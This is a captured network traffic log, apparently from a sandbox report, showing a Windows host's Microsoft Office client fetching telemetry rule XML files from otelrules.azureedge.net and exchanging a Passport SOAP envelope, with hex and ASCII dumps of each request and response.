2024-10-18 22:14:01 UTC	4762	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-18 22:14:01 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 18 Oct 2024 22:13:01 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C512_BAY x-ms-request-id: 993c5d2c-4140-45d5-af64-0c9fea9a4a25 PPServer: PPV: 30 H: PH1PEPF0001B7AD V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 18 Oct 2024 22:14:00 GMT Connection: close Content-Length: 10197
2024-10-18 22:14:01 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.10	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:01 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:01 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:01 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: c52d6895-f01e-001f-0bd3-205dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221401Z-15b8d89586f8l5961kfst8fpb000000000wg0000000056ha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:01 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.10	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:01 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 338a0e48-c01e-00a2-02d8-1e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221401Z-16b659b44994sn4705n0hqcu3c00000009qg00000000bef5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.10	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:01 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:01 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:01 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 9004b710-501e-005b-4cd8-1ed7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221401Z-r197bdfb6b4qpk6v9629ad4b5s00000003y00000000088cw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:01 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.10	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:01 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:01 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 619e0788-b01e-005c-44d8-1e4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221401Z-16b659b4499hxwq55c3fxf2tmw0000000d9000000000865w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:02 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.10	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:01 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:02 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:01 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: caad41a3-c01e-0034-68d8-1e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221401Z-15b8d89586fmhkw4gksnr1w3ds00000005ug000000000rqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:02 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.10	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:02 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:02 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 9909a593-401e-0029-54d8-1e9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221402Z-16b659b44994c5rr2b3ze9shcc0000000b4000000000e4g2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:02 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.10	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:02 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:02 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:02 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8bfd770a-c01e-00a2-078a-212327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221402Z-r197bdfb6b4h4wv5udghmrh3zg00000000pg0000000058qd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:02 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.10	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:02 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:02 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:02 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: a14e0622-f01e-003f-07d8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221402Z-16b659b4499w2mwkzdhtwtt78c0000000cg000000000bkxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:02 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.10	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:02 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:03 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:03 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: c716f918-801e-0067-31ef-1ffe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221403Z-r197bdfb6b4ld6jca8vdwzkams00000000hg00000000b0ap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:03 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.10	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:02 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:03 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:03 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a6b4c62a-c01e-0014-36d8-1ea6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221403Z-r197bdfb6b4kzncfk35mqx2yu40000000c4g000000009yy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.10	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:03 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
